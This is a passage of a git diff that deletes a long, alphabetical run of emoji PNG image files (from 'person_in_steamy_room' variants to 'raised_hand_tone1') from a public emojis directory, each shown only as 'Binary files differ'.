--- a/public/-/emojis/2/person_in_steamy_room_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_steamy_room_tone2.png b/public/-/emojis/2/person_in_steamy_room_tone2.png
deleted file mode 100644
index d4729ed48ab..00000000000
--- a/public/-/emojis/2/person_in_steamy_room_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_steamy_room_tone3.png b/public/-/emojis/2/person_in_steamy_room_tone3.png
deleted file mode 100644
index 204215eadf7..00000000000
--- a/public/-/emojis/2/person_in_steamy_room_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_steamy_room_tone4.png b/public/-/emojis/2/person_in_steamy_room_tone4.png
deleted file mode 100644
index 0929cb3bb3d..00000000000
--- a/public/-/emojis/2/person_in_steamy_room_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_steamy_room_tone5.png b/public/-/emojis/2/person_in_steamy_room_tone5.png
deleted file mode 100644
index 58906c4a1eb..00000000000
--- a/public/-/emojis/2/person_in_steamy_room_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_blond_hair.png b/public/-/emojis/2/person_with_blond_hair.png
deleted file mode 100644
index 8b31de5a1ac..00000000000
--- a/public/-/emojis/2/person_with_blond_hair.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_blond_hair_tone1.png b/public/-/emojis/2/person_with_blond_hair_tone1.png
deleted file mode 100644
index 7ca2c2a1c05..00000000000
--- a/public/-/emojis/2/person_with_blond_hair_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_blond_hair_tone2.png b/public/-/emojis/2/person_with_blond_hair_tone2.png
deleted file mode 100644
index 76ded7470f2..00000000000
--- a/public/-/emojis/2/person_with_blond_hair_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_blond_hair_tone3.png b/public/-/emojis/2/person_with_blond_hair_tone3.png
deleted file mode 100644
index 70edc7c2240..00000000000
--- a/public/-/emojis/2/person_with_blond_hair_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_blond_hair_tone4.png b/public/-/emojis/2/person_with_blond_hair_tone4.png
deleted file mode 100644
index e182391860f..00000000000
--- a/public/-/emojis/2/person_with_blond_hair_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_blond_hair_tone5.png b/public/-/emojis/2/person_with_blond_hair_tone5.png
deleted file mode 100644
index 0f5d26eb24f..00000000000
--- a/public/-/emojis/2/person_with_blond_hair_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_pouting_face.png b/public/-/emojis/2/person_with_pouting_face.png
deleted file mode 100644
index b42904d3136..00000000000
--- a/public/-/emojis/2/person_with_pouting_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_pouting_face_tone1.png b/public/-/emojis/2/person_with_pouting_face_tone1.png
deleted file mode 100644
index 9d2a45984d7..00000000000
--- a/public/-/emojis/2/person_with_pouting_face_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_pouting_face_tone2.png b/public/-/emojis/2/person_with_pouting_face_tone2.png
deleted file mode 100644
index 6bba7557871..00000000000
--- a/public/-/emojis/2/person_with_pouting_face_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_pouting_face_tone3.png b/public/-/emojis/2/person_with_pouting_face_tone3.png
deleted file mode 100644
index d94652d5653..00000000000
--- a/public/-/emojis/2/person_with_pouting_face_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_pouting_face_tone4.png b/public/-/emojis/2/person_with_pouting_face_tone4.png
deleted file mode 100644
index 4ce7499ad5e..00000000000
--- a/public/-/emojis/2/person_with_pouting_face_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_with_pouting_face_tone5.png b/public/-/emojis/2/person_with_pouting_face_tone5.png
deleted file mode 100644
index e2c9364ae76..00000000000
--- a/public/-/emojis/2/person_with_pouting_face_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/petri_dish.png b/public/-/emojis/2/petri_dish.png
deleted file mode 100644
index bc3eebcdac1..00000000000
--- a/public/-/emojis/2/petri_dish.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/phone.png b/public/-/emojis/2/phone.png
deleted file mode 100644
index 7d1904144ca..00000000000
--- a/public/-/emojis/2/phone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pick.png b/public/-/emojis/2/pick.png
deleted file mode 100644
index e6c99f11932..00000000000
--- a/public/-/emojis/2/pick.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pie.png b/public/-/emojis/2/pie.png
deleted file mode 100644
index 4c0fe7c1dd4..00000000000
--- a/public/-/emojis/2/pie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pig.png b/public/-/emojis/2/pig.png
deleted file mode 100644
index 5e610408f6f..00000000000
--- a/public/-/emojis/2/pig.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pig2.png b/public/-/emojis/2/pig2.png
deleted file mode 100644
index 075d910a30b..00000000000
--- a/public/-/emojis/2/pig2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pig_nose.png b/public/-/emojis/2/pig_nose.png
deleted file mode 100644
index c9e9d3ddaf1..00000000000
--- a/public/-/emojis/2/pig_nose.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pill.png b/public/-/emojis/2/pill.png
deleted file mode 100644
index 2e4b103c53e..00000000000
--- a/public/-/emojis/2/pill.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pineapple.png b/public/-/emojis/2/pineapple.png
deleted file mode 100644
index 6146cad6a6e..00000000000
--- a/public/-/emojis/2/pineapple.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ping_pong.png b/public/-/emojis/2/ping_pong.png
deleted file mode 100644
index ea8ddfe9788..00000000000
--- a/public/-/emojis/2/ping_pong.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pirate_flag.png b/public/-/emojis/2/pirate_flag.png
deleted file mode 100644
index eeda9ee2fa7..00000000000
--- a/public/-/emojis/2/pirate_flag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pisces.png b/public/-/emojis/2/pisces.png
deleted file mode 100644
index ff9e1fac852..00000000000
--- a/public/-/emojis/2/pisces.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pizza.png b/public/-/emojis/2/pizza.png
deleted file mode 100644
index de5df16cfbf..00000000000
--- a/public/-/emojis/2/pizza.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/place_of_worship.png b/public/-/emojis/2/place_of_worship.png
deleted file mode 100644
index 81a24f74733..00000000000
--- a/public/-/emojis/2/place_of_worship.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/play_pause.png b/public/-/emojis/2/play_pause.png
deleted file mode 100644
index b121159e081..00000000000
--- a/public/-/emojis/2/play_pause.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pleading_face.png b/public/-/emojis/2/pleading_face.png
deleted file mode 100644
index 74582a32cff..00000000000
--- a/public/-/emojis/2/pleading_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_down.png b/public/-/emojis/2/point_down.png
deleted file mode 100644
index 814956cc3d9..00000000000
--- a/public/-/emojis/2/point_down.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_down_tone1.png b/public/-/emojis/2/point_down_tone1.png
deleted file mode 100644
index 86755fbea05..00000000000
--- a/public/-/emojis/2/point_down_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_down_tone2.png b/public/-/emojis/2/point_down_tone2.png
deleted file mode 100644
index d56a0ed7806..00000000000
--- a/public/-/emojis/2/point_down_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_down_tone3.png b/public/-/emojis/2/point_down_tone3.png
deleted file mode 100644
index 19ad8914c6d..00000000000
--- a/public/-/emojis/2/point_down_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_down_tone4.png b/public/-/emojis/2/point_down_tone4.png
deleted file mode 100644
index 5c113233a44..00000000000
--- a/public/-/emojis/2/point_down_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_down_tone5.png b/public/-/emojis/2/point_down_tone5.png
deleted file mode 100644
index ad17d2fc3ad..00000000000
--- a/public/-/emojis/2/point_down_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_left.png b/public/-/emojis/2/point_left.png
deleted file mode 100644
index 8d7fc08c644..00000000000
--- a/public/-/emojis/2/point_left.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_left_tone1.png b/public/-/emojis/2/point_left_tone1.png
deleted file mode 100644
index d5a85e3e3f1..00000000000
--- a/public/-/emojis/2/point_left_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_left_tone2.png b/public/-/emojis/2/point_left_tone2.png
deleted file mode 100644
index ff7784832c8..00000000000
--- a/public/-/emojis/2/point_left_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_left_tone3.png b/public/-/emojis/2/point_left_tone3.png
deleted file mode 100644
index b0fcc7e4997..00000000000
--- a/public/-/emojis/2/point_left_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_left_tone4.png b/public/-/emojis/2/point_left_tone4.png
deleted file mode 100644
index f184e6cb498..00000000000
--- a/public/-/emojis/2/point_left_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_left_tone5.png b/public/-/emojis/2/point_left_tone5.png
deleted file mode 100644
index 2535b2986a6..00000000000
--- a/public/-/emojis/2/point_left_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_right.png b/public/-/emojis/2/point_right.png
deleted file mode 100644
index 1d206e7ba71..00000000000
--- a/public/-/emojis/2/point_right.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_right_tone1.png b/public/-/emojis/2/point_right_tone1.png
deleted file mode 100644
index 8a9e30c6f10..00000000000
--- a/public/-/emojis/2/point_right_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_right_tone2.png b/public/-/emojis/2/point_right_tone2.png
deleted file mode 100644
index 5225e38fe7f..00000000000
--- a/public/-/emojis/2/point_right_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_right_tone3.png b/public/-/emojis/2/point_right_tone3.png
deleted file mode 100644
index a012455d1b2..00000000000
--- a/public/-/emojis/2/point_right_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_right_tone4.png b/public/-/emojis/2/point_right_tone4.png
deleted file mode 100644
index b821e528a40..00000000000
--- a/public/-/emojis/2/point_right_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_right_tone5.png b/public/-/emojis/2/point_right_tone5.png
deleted file mode 100644
index 8d3f5d322fa..00000000000
--- a/public/-/emojis/2/point_right_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up.png b/public/-/emojis/2/point_up.png
deleted file mode 100644
index 91594b100de..00000000000
--- a/public/-/emojis/2/point_up.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_2.png b/public/-/emojis/2/point_up_2.png
deleted file mode 100644
index e3e2783ba99..00000000000
--- a/public/-/emojis/2/point_up_2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_2_tone1.png b/public/-/emojis/2/point_up_2_tone1.png
deleted file mode 100644
index 17fafd7588d..00000000000
--- a/public/-/emojis/2/point_up_2_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_2_tone2.png b/public/-/emojis/2/point_up_2_tone2.png
deleted file mode 100644
index a4735da036e..00000000000
--- a/public/-/emojis/2/point_up_2_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_2_tone3.png b/public/-/emojis/2/point_up_2_tone3.png
deleted file mode 100644
index dc244350ee0..00000000000
--- a/public/-/emojis/2/point_up_2_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_2_tone4.png b/public/-/emojis/2/point_up_2_tone4.png
deleted file mode 100644
index 75bf665c8b5..00000000000
--- a/public/-/emojis/2/point_up_2_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_2_tone5.png b/public/-/emojis/2/point_up_2_tone5.png
deleted file mode 100644
index 4b7a2cd9f88..00000000000
--- a/public/-/emojis/2/point_up_2_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_tone1.png b/public/-/emojis/2/point_up_tone1.png
deleted file mode 100644
index c67ad490084..00000000000
--- a/public/-/emojis/2/point_up_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_tone2.png b/public/-/emojis/2/point_up_tone2.png
deleted file mode 100644
index eaea553286d..00000000000
--- a/public/-/emojis/2/point_up_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_tone3.png b/public/-/emojis/2/point_up_tone3.png
deleted file mode 100644
index c0c6cc0e34f..00000000000
--- a/public/-/emojis/2/point_up_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_tone4.png b/public/-/emojis/2/point_up_tone4.png
deleted file mode 100644
index 991979d50f2..00000000000
--- a/public/-/emojis/2/point_up_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/point_up_tone5.png b/public/-/emojis/2/point_up_tone5.png
deleted file mode 100644
index 2a165b0ec0d..00000000000
--- a/public/-/emojis/2/point_up_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/police_car.png b/public/-/emojis/2/police_car.png
deleted file mode 100644
index 09778bc66c7..00000000000
--- a/public/-/emojis/2/police_car.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/poodle.png b/public/-/emojis/2/poodle.png
deleted file mode 100644
index 307973e4dc4..00000000000
--- a/public/-/emojis/2/poodle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/poop.png b/public/-/emojis/2/poop.png
deleted file mode 100644
index 44546e4fe9a..00000000000
--- a/public/-/emojis/2/poop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/popcorn.png b/public/-/emojis/2/popcorn.png
deleted file mode 100644
index 68871092408..00000000000
--- a/public/-/emojis/2/popcorn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/post_office.png b/public/-/emojis/2/post_office.png
deleted file mode 100644
index ad5d0360143..00000000000
--- a/public/-/emojis/2/post_office.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/postal_horn.png b/public/-/emojis/2/postal_horn.png
deleted file mode 100644
index 96be8946561..00000000000
--- a/public/-/emojis/2/postal_horn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/postbox.png b/public/-/emojis/2/postbox.png
deleted file mode 100644
index 3db504259fd..00000000000
--- a/public/-/emojis/2/postbox.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/potable_water.png b/public/-/emojis/2/potable_water.png
deleted file mode 100644
index b495f29e1b8..00000000000
--- a/public/-/emojis/2/potable_water.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/potato.png b/public/-/emojis/2/potato.png
deleted file mode 100644
index 0a787d4fdc0..00000000000
--- a/public/-/emojis/2/potato.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pouch.png b/public/-/emojis/2/pouch.png
deleted file mode 100644
index 117989389b4..00000000000
--- a/public/-/emojis/2/pouch.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/poultry_leg.png b/public/-/emojis/2/poultry_leg.png
deleted file mode 100644
index 9bac9e3b265..00000000000
--- a/public/-/emojis/2/poultry_leg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pound.png b/public/-/emojis/2/pound.png
deleted file mode 100644
index 8ff02242f0b..00000000000
--- a/public/-/emojis/2/pound.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pound_symbol.png b/public/-/emojis/2/pound_symbol.png
deleted file mode 100644
index b3193dcb7a8..00000000000
--- a/public/-/emojis/2/pound_symbol.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pouting_cat.png b/public/-/emojis/2/pouting_cat.png
deleted file mode 100644
index 587dfe56d60..00000000000
--- a/public/-/emojis/2/pouting_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pray.png b/public/-/emojis/2/pray.png
deleted file mode 100644
index 079c245ce13..00000000000
--- a/public/-/emojis/2/pray.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pray_tone1.png b/public/-/emojis/2/pray_tone1.png
deleted file mode 100644
index f55384e0fec..00000000000
--- a/public/-/emojis/2/pray_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pray_tone2.png b/public/-/emojis/2/pray_tone2.png
deleted file mode 100644
index 6f8a800b619..00000000000
--- a/public/-/emojis/2/pray_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pray_tone3.png b/public/-/emojis/2/pray_tone3.png
deleted file mode 100644
index 3d1a09060c1..00000000000
--- a/public/-/emojis/2/pray_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pray_tone4.png b/public/-/emojis/2/pray_tone4.png
deleted file mode 100644
index 4dc7f9f0970..00000000000
--- a/public/-/emojis/2/pray_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pray_tone5.png b/public/-/emojis/2/pray_tone5.png
deleted file mode 100644
index bbe935cde9d..00000000000
--- a/public/-/emojis/2/pray_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/prayer_beads.png b/public/-/emojis/2/prayer_beads.png
deleted file mode 100644
index 43c2912284f..00000000000
--- a/public/-/emojis/2/prayer_beads.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pregnant_woman.png b/public/-/emojis/2/pregnant_woman.png
deleted file mode 100644
index 53d74baa2f2..00000000000
--- a/public/-/emojis/2/pregnant_woman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pregnant_woman_tone1.png b/public/-/emojis/2/pregnant_woman_tone1.png
deleted file mode 100644
index 4784e17fbbd..00000000000
--- a/public/-/emojis/2/pregnant_woman_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pregnant_woman_tone2.png b/public/-/emojis/2/pregnant_woman_tone2.png
deleted file mode 100644
index 7e9657d0347..00000000000
--- a/public/-/emojis/2/pregnant_woman_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pregnant_woman_tone3.png b/public/-/emojis/2/pregnant_woman_tone3.png
deleted file mode 100644
index 2190993ac82..00000000000
--- a/public/-/emojis/2/pregnant_woman_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pregnant_woman_tone4.png b/public/-/emojis/2/pregnant_woman_tone4.png
deleted file mode 100644
index 77ad7b936a9..00000000000
--- a/public/-/emojis/2/pregnant_woman_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pregnant_woman_tone5.png b/public/-/emojis/2/pregnant_woman_tone5.png
deleted file mode 100644
index 240d1835ae8..00000000000
--- a/public/-/emojis/2/pregnant_woman_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pretzel.png b/public/-/emojis/2/pretzel.png
deleted file mode 100644
index c35ea4992c4..00000000000
--- a/public/-/emojis/2/pretzel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/prince.png b/public/-/emojis/2/prince.png
deleted file mode 100644
index a593d161419..00000000000
--- a/public/-/emojis/2/prince.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/prince_tone1.png b/public/-/emojis/2/prince_tone1.png
deleted file mode 100644
index 5ac27c18fb3..00000000000
--- a/public/-/emojis/2/prince_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/prince_tone2.png b/public/-/emojis/2/prince_tone2.png
deleted file mode 100644
index d341b1323f5..00000000000
--- a/public/-/emojis/2/prince_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/prince_tone3.png b/public/-/emojis/2/prince_tone3.png
deleted file mode 100644
index 0c7135fba21..00000000000
--- a/public/-/emojis/2/prince_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/prince_tone4.png b/public/-/emojis/2/prince_tone4.png
deleted file mode 100644
index 1c7588e600a..00000000000
--- a/public/-/emojis/2/prince_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/prince_tone5.png b/public/-/emojis/2/prince_tone5.png
deleted file mode 100644
index 664009ad1af..00000000000
--- a/public/-/emojis/2/prince_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/princess.png b/public/-/emojis/2/princess.png
deleted file mode 100644
index 6798d8d00a2..00000000000
--- a/public/-/emojis/2/princess.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/princess_tone1.png b/public/-/emojis/2/princess_tone1.png
deleted file mode 100644
index 2d042d9ff01..00000000000
--- a/public/-/emojis/2/princess_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/princess_tone2.png b/public/-/emojis/2/princess_tone2.png
deleted file mode 100644
index b9ac64f4359..00000000000
--- a/public/-/emojis/2/princess_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/princess_tone3.png b/public/-/emojis/2/princess_tone3.png
deleted file mode 100644
index 7a98bf2845b..00000000000
--- a/public/-/emojis/2/princess_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/princess_tone4.png b/public/-/emojis/2/princess_tone4.png
deleted file mode 100644
index 47537a9e636..00000000000
--- a/public/-/emojis/2/princess_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/princess_tone5.png b/public/-/emojis/2/princess_tone5.png
deleted file mode 100644
index 300db84466b..00000000000
--- a/public/-/emojis/2/princess_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/printer.png b/public/-/emojis/2/printer.png
deleted file mode 100644
index e3ec0543522..00000000000
--- a/public/-/emojis/2/printer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/projector.png b/public/-/emojis/2/projector.png
deleted file mode 100644
index f186ead7b3b..00000000000
--- a/public/-/emojis/2/projector.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/punch.png b/public/-/emojis/2/punch.png
deleted file mode 100644
index 9e63af90e4d..00000000000
--- a/public/-/emojis/2/punch.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/punch_tone1.png b/public/-/emojis/2/punch_tone1.png
deleted file mode 100644
index 087ee6ee4bb..00000000000
--- a/public/-/emojis/2/punch_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/punch_tone2.png b/public/-/emojis/2/punch_tone2.png
deleted file mode 100644
index 3711ca40803..00000000000
--- a/public/-/emojis/2/punch_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/punch_tone3.png b/public/-/emojis/2/punch_tone3.png
deleted file mode 100644
index 7fc73793361..00000000000
--- a/public/-/emojis/2/punch_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/punch_tone4.png b/public/-/emojis/2/punch_tone4.png
deleted file mode 100644
index 53ccae66962..00000000000
--- a/public/-/emojis/2/punch_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/punch_tone5.png b/public/-/emojis/2/punch_tone5.png
deleted file mode 100644
index 69e7f490838..00000000000
--- a/public/-/emojis/2/punch_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/purple_heart.png b/public/-/emojis/2/purple_heart.png
deleted file mode 100644
index e2a8a2bef63..00000000000
--- a/public/-/emojis/2/purple_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/purse.png b/public/-/emojis/2/purse.png
deleted file mode 100644
index 545340e3705..00000000000
--- a/public/-/emojis/2/purse.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pushpin.png b/public/-/emojis/2/pushpin.png
deleted file mode 100644
index d6da36e8e5c..00000000000
--- a/public/-/emojis/2/pushpin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/put_litter_in_its_place.png b/public/-/emojis/2/put_litter_in_its_place.png
deleted file mode 100644
index c03391976fd..00000000000
--- a/public/-/emojis/2/put_litter_in_its_place.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/question.png b/public/-/emojis/2/question.png
deleted file mode 100644
index 67e200ab6f4..00000000000
--- a/public/-/emojis/2/question.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rabbit.png b/public/-/emojis/2/rabbit.png
deleted file mode 100644
index ac5b272a2be..00000000000
--- a/public/-/emojis/2/rabbit.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rabbit2.png b/public/-/emojis/2/rabbit2.png
deleted file mode 100644
index 084e00f04e8..00000000000
--- a/public/-/emojis/2/rabbit2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raccoon.png b/public/-/emojis/2/raccoon.png
deleted file mode 100644
index 52927893f6d..00000000000
--- a/public/-/emojis/2/raccoon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/race_car.png b/public/-/emojis/2/race_car.png
deleted file mode 100644
index 3df8c171e39..00000000000
--- a/public/-/emojis/2/race_car.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/racehorse.png b/public/-/emojis/2/racehorse.png
deleted file mode 100644
index 7351402ca2f..00000000000
--- a/public/-/emojis/2/racehorse.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/radio.png b/public/-/emojis/2/radio.png
deleted file mode 100644
index a132a2aac68..00000000000
--- a/public/-/emojis/2/radio.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/radio_button.png b/public/-/emojis/2/radio_button.png
deleted file mode 100644
index 94658b72da0..00000000000
--- a/public/-/emojis/2/radio_button.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/radioactive.png b/public/-/emojis/2/radioactive.png
deleted file mode 100644
index 31c90f19af8..00000000000
--- a/public/-/emojis/2/radioactive.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rage.png b/public/-/emojis/2/rage.png
deleted file mode 100644
index 1eac220727e..00000000000
--- a/public/-/emojis/2/rage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/railway_car.png b/public/-/emojis/2/railway_car.png
deleted file mode 100644
index 1b39c60c133..00000000000
--- a/public/-/emojis/2/railway_car.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/railway_track.png b/public/-/emojis/2/railway_track.png
deleted file mode 100644
index 735fa9201fe..00000000000
--- a/public/-/emojis/2/railway_track.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rainbow.png b/public/-/emojis/2/rainbow.png
deleted file mode 100644
index 271035cf3c4..00000000000
--- a/public/-/emojis/2/rainbow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_back_of_hand.png b/public/-/emojis/2/raised_back_of_hand.png
deleted file mode 100644
index b6ed6b41add..00000000000
--- a/public/-/emojis/2/raised_back_of_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_back_of_hand_tone1.png b/public/-/emojis/2/raised_back_of_hand_tone1.png
deleted file mode 100644
index 72153dee33a..00000000000
--- a/public/-/emojis/2/raised_back_of_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_back_of_hand_tone2.png b/public/-/emojis/2/raised_back_of_hand_tone2.png
deleted file mode 100644
index e70af27f98e..00000000000
--- a/public/-/emojis/2/raised_back_of_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_back_of_hand_tone3.png b/public/-/emojis/2/raised_back_of_hand_tone3.png
deleted file mode 100644
index 7dc3838ae73..00000000000
--- a/public/-/emojis/2/raised_back_of_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_back_of_hand_tone4.png b/public/-/emojis/2/raised_back_of_hand_tone4.png
deleted file mode 100644
index 9cc5fc4eecf..00000000000
--- a/public/-/emojis/2/raised_back_of_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_back_of_hand_tone5.png b/public/-/emojis/2/raised_back_of_hand_tone5.png
deleted file mode 100644
index a695b81c498..00000000000
--- a/public/-/emojis/2/raised_back_of_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hand.png b/public/-/emojis/2/raised_hand.png
deleted file mode 100644
index a77f399b8a3..00000000000
--- a/public/-/emojis/2/raised_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hand_tone1.png b/public/-/emojis/2/raised_hand_tone1.png
deleted file mode 100644
index 6fe0d2fd38b..00000000000
--- a/public/-/emojis/2/raised_hand_tone1.png
+++ /dev/null
Binary files differ
